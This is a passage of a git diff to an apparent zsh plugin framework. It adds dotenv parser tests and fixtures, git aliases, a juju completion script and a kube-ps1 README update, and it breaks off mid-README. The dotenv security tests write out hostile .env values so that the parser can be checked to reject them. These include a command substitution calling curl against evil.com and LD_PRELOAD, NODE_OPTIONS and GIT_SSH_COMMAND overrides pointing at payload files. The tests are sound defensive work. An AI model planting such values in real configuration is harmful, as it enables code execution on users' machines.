+COMBINED="${BASE_URL}_suffix" + +# Testing multiline quoting edge cases +MULTILINE_UNQUOTED=This\ is\ a\ \ +multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline +MULTILINE_DOUBLE_QUOTED="This is a \ +multiline value that should be treated as a single line with an actual newline character" +MULTILINE_SINGLE_QUOTED='This is a \ +multiline value that should be treated as a single line with a literal backslash and newline' +MULTILINE_MIXED_QUOTES="This is a \ +multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside" + +# Test for regressions +DATABASE_URL="postgres://user:pass@host/db;sslmode=require" +VAR_WITH_SEMICOLONS="value ; with ; semicolons" diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit new file mode 100644 index 000000000..611f6a70a --- /dev/null +++ b/plugins/dotenv/tests/basic-parsing.zunit @@ -0,0 +1,398 @@ +#!/usr/bin/env zunit + + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'dotenv plugin loads successfully' { + assert "parse_dotenv" function_exists + assert "source_env" function_exists +} + +@test 'parse returns error for unsupported mode' { + run _parse_dotenv_quiet "/dev/null" "export" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "test" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "invalid_mode" + assert $state equals 1 +} + +@test 'parse returns error for oversized file (> 10MiB)' { + command truncate -s 11M "$fixture" 2>/dev/null + + run _parse_dotenv_quiet "$fixture" "test" + assert $state equals 1 +} + +@test 'parse returns error for non-existent file' { + run _parse_dotenv_quiet "/nonexistent/path/.env" "test" + assert $state equals 1 +} + +@test 'source_env loads named pipes without blocking' { + local tmpdir fifo output result + local child_pid writer_pid killer_pid child_rc + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" + fifo="$tmpdir/.env" + output="$tmpdir/output" + command mkfifo "$fifo" + + ( + print -r -- 'TOKEN=secret' > "$fifo" + ) & + writer_pid=$! + + ( + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env + print -r -- "${TOKEN-}" > "$output" + ) & + child_pid=$! + + ( + sleep 2 + kill -0 $child_pid 2>/dev/null || exit 0 + kill $child_pid 2>/dev/null || exit 0 + ) & + killer_pid=$! + + wait $child_pid + child_rc=$? + + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + + [[ -f "$output" ]] && result="$(<"$output")" + command rm -rf "$tmpdir" + + assert $child_rc equals 0 + assert "$result" equals 'secret' +} + +@test 'source_env rejects oversized named pipes' { + run zsh -fc ' + source ./dotenv.plugin.zsh + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1 + fifo="$tmpdir/.env" + command mkfifo "$fifo" || exit 1 + + cleanup() { + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + command rm -rf "$tmpdir" + } + trap cleanup EXIT + + ( + { + print -rn -- "BIG=" + command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a + } > "$fifo" + ) & + writer_pid=$! + + ( + sleep 2 + kill -0 $$ 2>/dev/null || exit 0 + kill $$ 2>/dev/null || exit 0 + ) & + killer_pid=$! + + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env >/dev/null 2>&1 + ' + + assert $state equals 1 +} + +@test 'parse basic variable assignment' { + > "$fixture" <<'EOF' +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line +EOF + + expected_vars=( + BASIC 'basic' + AFTER_LINE 'after_line' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse empty values' { + > "$fixture" <<'EOF' +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" +EOF + + expected_vars=( + EMPTY '' + EMPTY_SINGLE_QUOTES '' + EMPTY_DOUBLE_QUOTES '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse single quoted values' { + > "$fixture" <<'EOF' +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' +EOF + + expected_vars=( + SINGLE_QUOTES 'single_quotes' + SINGLE_QUOTES_SPACED ' single quotes ' + DONT_EXPAND_SQUOTED 'dontexpand\nnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse double quoted values' { + > "$fixture" <<'EOF' +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" +EOF + + expected_vars=( + DOUBLE_QUOTES 'double_quotes' + DOUBLE_QUOTES_SPACED ' double quotes ' + EXPAND_NEWLINES "expand\nnew\nlines" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse unquoted values' { + > "$fixture" <<'EOF' +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines +EOF + + + expected_vars=( + DONT_EXPAND_UNQUOTED 'dontexpandnnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse quotes inside quotes' { + > "$fixture" <<'EOF' +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" +EOF + + expected_vars=( + DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes' + SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse inline comments' { + > "$fixture" <<'EOF' +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work +EOF + + expected_vars=( + INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes' + INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes' + INLINE_COMMENTS_UNQUOTED 'value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse ignores non-assignment commands with assignment-looking arguments' { + > "$fixture" <<'EOF' +print SHOULD_NOT_PARSE=value +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse special characters' { + > "$fixture" <<'EOF' +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld +EOF + + expected_vars=( + EQUAL_SIGNS 'equals==' + RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}' + USEREMAIL 'therealnerdybeast@example.tld' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse multiline values with mixed quotes' { + > "$fixture" <<'EOF' +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" +EOF + + expected_vars=( + MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse export syntax' { + > "$fixture" <<'EOF' +# Exported variables +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= +EOF + + expected_vars=( + EXPORTED_VAR 'exported_value' + EXPORTED_EMPTY '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion' { + > "$fixture" <<'EOF' +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" +EOF + + expected_vars=( + BASE_URL 'https://api.example.com' + API_ENDPOINT 'https://api.example.com/v1' + FULL_ENDPOINT 'https://api.example.com/v2/users' + COMBINED 'https://api.example.com_suffix' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion prefers the longest matching variable name' { + > "$fixture" <<'EOF' +A=1 +ABC=2 +X=$ABC +Y=${ABC} +Z=$ABCD +EOF + + expected_vars=( + A '1' + ABC '2' + X '2' + Y '2' + Z '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse preserves escaped dollar signs before variable expansion' { + > "$fixture" <<'EOF' +BAR=expanded +ESCAPED_UNQUOTED=foo\$BAR +ESCAPED_DOUBLE="foo\$BAR" +ESCAPED_BRACED="\${BAR}" +EOF + + expected_vars=( + BAR 'expanded' + ESCAPED_UNQUOTED 'foo$BAR' + ESCAPED_DOUBLE 'foo$BAR' + ESCAPED_BRACED '${BAR}' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit new file mode 100644 index 000000000..61c5dddba --- /dev/null +++ b/plugins/dotenv/tests/compatibility.zunit @@ -0,0 +1,27 @@ +#!/usr/bin/env zunit + +@setup { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@teardown { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'compatibility: dotenvjs fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/dotenvjs.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} + +@test 'compatibility: features fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/features.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit new file mode 100644 index 000000000..414f87bb7 --- /dev/null +++ b/plugins/dotenv/tests/security.zunit @@ -0,0 +1,209 @@ +#!/usr/bin/env zunit + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'skip dangerous backtick command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_BACKTICK=`whoami` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dangerous subshell command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_SUBSHELL=$(date) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip nested command substitution in double quotes' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip multiple words (potential command execution)' { + > "$fixture" <<'EOF' +# Should be skipped - multiple words could execute commands +BASE_URL=/ echo command run +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow literal command substitution in single quotes' { + > "$fixture" <<'EOF' +# Single quotes make everything literal - should be parsed +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_BACKTICK='`also literal`' + +# Should also be parsed +SAFE_VAR=safe_value +EOF + + expected_vars=( + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_BACKTICK '`also literal`' + SAFE_VAR 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip backticks in unquoted values' { + > "$fixture" <<'EOF' +# Backticks in unquoted context - should be skipped +DANGEROUS_UNQUOTED=`echo danger` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dollar-paren in unquoted values' { + > "$fixture" <<'EOF' +# Command substitution in unquoted context - should be skipped +DANGEROUS_UNQUOTED=$(uname -a) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow safe dollar signs (variable refs without parens in single quotes)' { + > "$fixture" <<'EOF' +# Dollar signs that don't start command substitution +SAFE_DOLLARS='$HOME is literal' +SAFE_PRICE='Cost is $50' +SAFE_VAR='value$123' + +# Should all be parsed +SAFE_VAR2=safe_value +EOF + + expected_vars=( + SAFE_DOLLARS '$HOME is literal' + SAFE_PRICE 'Cost is $50' + SAFE_VAR 'value$123' + SAFE_VAR2 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip quoted command substitution' { + > "$fixture" <<'EOF' +HARMLESS_COMMAND="\$(echo)" +ANOTHER_ONE=$'\x24\x28echo\x29' +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'comprehensive security test with mixed safe and dangerous patterns' { + > "$fixture" <<'EOF' +# These should be SKIPPED (dangerous) +DANGEROUS_BACKTICK=`whoami` +DANGEROUS_SUBSHELL=$(date) +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +LOOKS_SAFE=$(curl http://evil.com) +BASE_URL=/ echo command run + +# These should WORK (safe) +SAFE_BEFORE=safe_value_1 +SAFE_AFTER=safe_value_2 +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_SINGLE_QUOTED2='`also literal`' +SAFE_DOLLARS='$HOME' +SAFE_PRICE="$50" +EOF + + expected_vars=( + SAFE_BEFORE 'safe_value_1' + SAFE_AFTER 'safe_value_2' + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_SINGLE_QUOTED2 '`also literal`' + SAFE_DOLLARS '$HOME' + SAFE_PRICE '$50' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + + + +@test 'blocks changes of special environment variables' { + _parse_dotenv_test =(<<'EOF' +# Executes on the next node/npm/npx invocation +NODE_OPTIONS=--require=./payload.js + +# Used for shell initialization +BASH_ENV=./payload.sh +# Used for shell initialization in zsh, but also respected by some tools like git +# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args +# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV +ENV=./payload.sh +# Used for zsh startup +ZDOTDIR=./.malicious_zsh +ZSH=./.malicious_zsh + +# These are used for native code injection +LD_PRELOAD=./payload.so +LD_LIBRARY_PATH=./malicious_libs +DYLD_INSERT_LIBRARIES=./payload.dylib + +# Git environment variables +GIT_CONFIG_GLOBAL=./.gitconfig-malicious +GIT_DIR=./malicious_git_dir +GIT_EDITOR=./malicious_editor +GIT_EXTERNAL_DIFF=./malicious_diff +GIT_EXEC_PATH=./.malicious_git_exec +GIT_PAGER=./malicious_pager +GIT_SSH=./malicious_ssh +GIT_SSH_COMMAND=./malicious_ssh_command +GIT_SSL_NO_VERIFY=true +GIT_TEMPLATE_DIR=./malicious_templates # for persistence + +# Special exported variables +PATH=./malicious_bin:$PATH +EDITOR=./malicious +VISUAL=./malicious +PAGER=./malicious +EOF +) + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/git/README.md b/plugins/git/README.md index 0090fa6cf..c0a651375 100644 --- a/plugins/git/README.md +++ b/plugins/git/README.md @@ -181,6 +181,8 @@ plugins=(... git) | `grst` | `git restore --staged` | | `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` | | `grev` | `git revert` | +| `greva` | `git revert --abort` | +| `grevc` | `git revert --continue` | | `grm` | `git rm` | | `grmc` | `git rm --cached` | | `gcount` | `git shortlog --summary -n` | @@ -215,6 +217,7 @@ plugins=(... git) | `gunignore` | `git update-index --no-assume-unchanged` | | `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` | | `gwt` | `git worktree` | +| `gwta` | `git worktree add` | | `gwtls` | `git worktree list` | | `gwtmv` | `git worktree move` | | `gwtrm` | `git worktree remove` | diff --git a/plugins/gitfast/git-prompt.sh b/plugins/gitfast/git-prompt.sh index 76ee4ab1e..ae5085182 100644 --- a/plugins/gitfast/git-prompt.sh +++ b/plugins/gitfast/git-prompt.sh @@ -235,7 +235,7 @@ __git_ps1_show_upstream () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then upstream="$upstream \${__git_ps1_upstream_name}" else - upstream="$upstream ${__git_ps1_upstream_name}" + upstream="$upstream ${__git_ps1_upstream_name//\%/%%}" # not needed anymore; keep user's # environment clean unset __git_ps1_upstream_name @@ -570,6 +570,9 @@ __git_ps1 () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then __git_ps1_branch_name=$b b="\${__git_ps1_branch_name}" + else + # escape % in branch name to avoid prompt expansion issues + b="${b//\%/%%}" fi if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then diff --git a/plugins/juju/_juju b/plugins/juju/_juju new file mode 100644 index 000000000..4e08ba6ad --- /dev/null +++ b/plugins/juju/_juju @@ -0,0 +1,231 @@ +#compdef juju +(( $+functions[compdef] )) && compdef _juju juju + +# zsh completion for juju -*- shell-script -*- + +__juju_debug() +{ + local file="$BASH_COMP_DEBUG_FILE" + if [[ -n ${file} ]]; then + echo "$*" >> "${file}" + fi +} + +__juju_help_options() +{ + local out line token cleaned desc f + local -a opts pending + typeset -U opts + + __juju_debug "[options] called with args: $*" + out=$(command juju help "$@" 2>/dev/null) + local rc=$? + __juju_debug "[options] juju help exit code: $rc, output length: ${#out}" + (( rc )) && return 1 + + while IFS= read -r line; do + if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + for token in ${(z)line}; do + cleaned="${token%%,*}" + cleaned="${cleaned%%;*}" + cleaned="${cleaned%%]*}" + cleaned="${cleaned%%)*}" + cleaned="${cleaned%%=<*}" + cleaned="${cleaned%%=*}" + cleaned="${cleaned%%<*}" + cleaned="${cleaned%%\[*}" + cleaned="${cleaned%%\(*}" + [[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue + [[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue + __juju_debug "[options] found flag: $cleaned" + pending+=("$cleaned") + done + elif (( ${#pending} )) && [[ -n "$line" ]]; then + desc="${line#"${line%%[![:space:]]*}"}" + desc="${desc//:/\\:}" + __juju_debug "[options] desc for ${pending[*]}: $desc" + for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done + pending=() + elif [[ -z "$line" ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + fi + done < <(printf "%s\n" "$out") + + for f in "${pending[@]}"; do opts+=("$f"); done + __juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}" + + printf "%s\n" "${opts[@]}" +} + + +__juju_help_commands() +{ + local line cmd desc out + out=$(command juju help commands 2>/dev/null) || return 1 + + while IFS= read -r line; do + # Strip leading whitespace + line="${line#"${line%%[![:space:]]*}"}" + # Only process lines starting with an alphanumeric (command names) + [[ "$line" =~ '^[[:alnum:]]' ]] || continue + # Split on the first run of 2+ spaces: left = cmd, right = description + cmd="${line%% *}" + # Validate it's a clean command token (no spaces, only alnum and dash) + [[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue + desc="${line#"$cmd"}" + desc="${desc#"${desc%%[![:space:]]*}"}" + if [[ -n "$desc" ]]; then + printf "%s:%s\n" "$cmd" "$desc" + else + printf "%s\n" "$cmd" + fi + done <<< "$out" +} + +__juju_models() +{ + # Optional argument: controller name. If given, fetch models for that controller. + if [[ -n "$1" ]]; then + command juju models -c "$1" --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + else + command juju models --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + fi +} + +# Complete a model token that may be prefixed with "controller:" — if a colon is +# present, fetch models for that controller and offer "ctrl:model" completions. +__juju_complete_model() +{ + local current="$1" + local -a completions + + __juju_debug "[complete_model] current='${current}'" + + if [[ "$current" == *:* ]]; then + local ctrl="${current%%:*}" + local models + models=("${(@f)$(__juju_models "$ctrl")}") + completions=("${models[@]/#/${ctrl}:}") + __juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}" + compadd -S '' -q -- "${completions[@]}" + else + local -a models ctrls + models=("${(@f)$(__juju_models)}") + ctrls=("${(@f)$(__juju_controllers)}") + __juju_debug "[complete_model] models=${#models}: ${models[*]}" + __juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}" + __juju_debug "[complete_model] calling _alternative" + _alternative \ + 'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \ + 'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}' + __juju_debug "[complete_model] _alternative returned $?" + fi +} + +# Commands whose first positional argument is a model name. +_juju_model_commands=( + destroy-model + grant-model + revoke-model + switch +) + +# Flags that take a model name as their value. +_juju_model_flags=( + -m + --model +) + +__juju_controllers() +{ + command juju controllers --format=json 2>/dev/null \ + | command jq -r '.controllers | keys | .[]' 2>/dev/null +} + +# Commands whose first positional argument is a controller name. +_juju_controller_commands=( + destroy-controller + kill-controller + login + logout + unregister +) + +# Flags that take a controller name as their value. +_juju_controller_flags=( + -c + --controller +) + +_juju() +{ + __juju_debug "[_juju] curcontext: ${curcontext}" + local -a completions + + __juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT" + + # Find the subcommand: first non-flag word typed after "juju", excluding the + # word currently being completed (words[CURRENT]). + local subcmd="" + local i + for (( i = 2; i < CURRENT; i++ )); do + if [[ "${words[i]}" != -* ]]; then + subcmd="${words[i]}" + break + fi + done + + local current="${words[CURRENT]}" + local prev="${words[CURRENT-1]}" + + __juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'" + + # Controller name completion: flag value (e.g. juju status -c ) + if (( ${_juju_controller_flags[(I)$prev]} )); then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller flag completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: flag value (e.g. juju status -m or -m ctrl:) + if (( ${_juju_model_flags[(I)$prev]} )); then + __juju_debug "[_juju] model flag completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + if [[ -z "$subcmd" ]]; then + # No subcommand yet — complete subcommand names. + completions=("${(@f)$(__juju_help_commands)}") + __juju_debug "[_juju] command completions count: ${#completions}" + (( ${#completions} )) && _describe "command" completions && return 0 + return 1 + fi + + # Controller name completion: positional arg (e.g. juju destroy-controller ) + if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller command completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: positional arg (e.g. juju destroy-model or ctrl:) + if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + __juju_debug "[_juju] model command completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + # Flag completion for all other subcommands (also shown without leading dash) + completions=("${(@f)$(__juju_help_options "$subcmd")}") + __juju_debug "[_juju] option completions count: ${#completions}" + (( ${#completions} )) && _describe "option" completions && return 0 + return 1 +} diff --git a/plugins/juju/juju.plugin.zsh b/plugins/juju/juju.plugin.zsh index 3c159da22..a7bd98d7e 100644 --- a/plugins/juju/juju.plugin.zsh +++ b/plugins/juju/juju.plugin.zsh @@ -1,17 +1,5 @@ # ---------------------------------------------------------- # # Aliases and functions for juju (https://juju.is) # -# ---------------------------------------------------------- # - -# Load TAB completions -# You need juju's bash completion script installed. By default bash-completion's -# location will be used (i.e. pkg-config --variable=completionsdir bash-completion). -completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \ - completion_file="/usr/share/bash-completion/completions/juju" -[[ -f "$completion_file" ]] && source "$completion_file" -unset completion_file - -# ---------------------------------------------------------- # -# Aliases (in alphabetic order) # # # # Generally, # # - `!` means --force --no-wait -y # @@ -132,6 +120,7 @@ jclean() { fi echo + local controller for controller in ${=controllers}; do timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null @@ -165,10 +154,11 @@ jreld() { # Return Juju current controller jcontroller() { - local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)" - if [[ -z "$controller" ]]; then - return 1 - fi + local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml" + [[ -f "$file" ]] || return 1 + + local controller="$(awk '/current-controller/ {print $2}' "$file")" + [[ -z "$controller" ]] && return 1 echo $controller return 0 @@ -176,6 +166,9 @@ jcontroller() { # Return Juju current model jmodel() { + local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml" + [[ -f "$file" ]] || return 1 + local yqbin="$(whereis yq | awk '{print $2}')" if [[ -z "$yqbin" ]]; then @@ -183,9 +176,10 @@ jmodel() { return 1 fi - local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)" + local controller="$(jcontroller)" + local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)" - if [[ -z "$model" ]]; then + if [[ -z "$model" || $model == "null" ]]; then echo "--" return 1 fi @@ -194,9 +188,10 @@ jmodel() { return 0 } -# Watch juju status, with optional interval (default: 5 sec) +# Watch juju status, with optional interval (default: 1 sec) wjst() { - local interval="${1:-5}" + command -v juju >/dev/null 2>&1 || return 1 + local interval="${1:-1}" shift $(( $# > 0 )) watch -n "$interval" --color juju status --relations --color "$@" } diff --git a/plugins/kube-ps1/README.md b/plugins/kube-ps1/README.md index ef6d781ad..5ab059354 100644 --- a/plugins/kube-ps1/README.md +++ b/plugins/kube-ps1/README.md @@ -1,10 +1,9 @@ -# kube-ps1: Kubernetes prompt for bash and zsh +# kube-ps1: Kubernetes prompt for bash, zsh, and fish ![GitHub Release](https://img.shields.io/github/v/release/jonmosco/kube-ps1) [![CI](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml/badge.svg)](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml) -A script that lets you add the current Kubernetes context and namespace -configured on `kubectl` to your Bash/Zsh prompt strings (i.e. the `$PS1`). +A script that lets you add the current Kubernetes context and namespace configured on `kubectl` to your Bash, Zsh, or Fish prompt. Inspired by several tools used to simplify usage of `kubectl`. @@ -77,6 +76,21 @@ source /path/to/kube-ps1.sh PS1='[\u@\h \W $(kube_ps1)]\$ ' ``` +#### Fish + +Add this to `~/.config/fish/config.fish`: + +```fish +source /path/to/kube-ps1.fish + +function fish_prompt + echo -n (kube_ps1) ' ' + # your existing 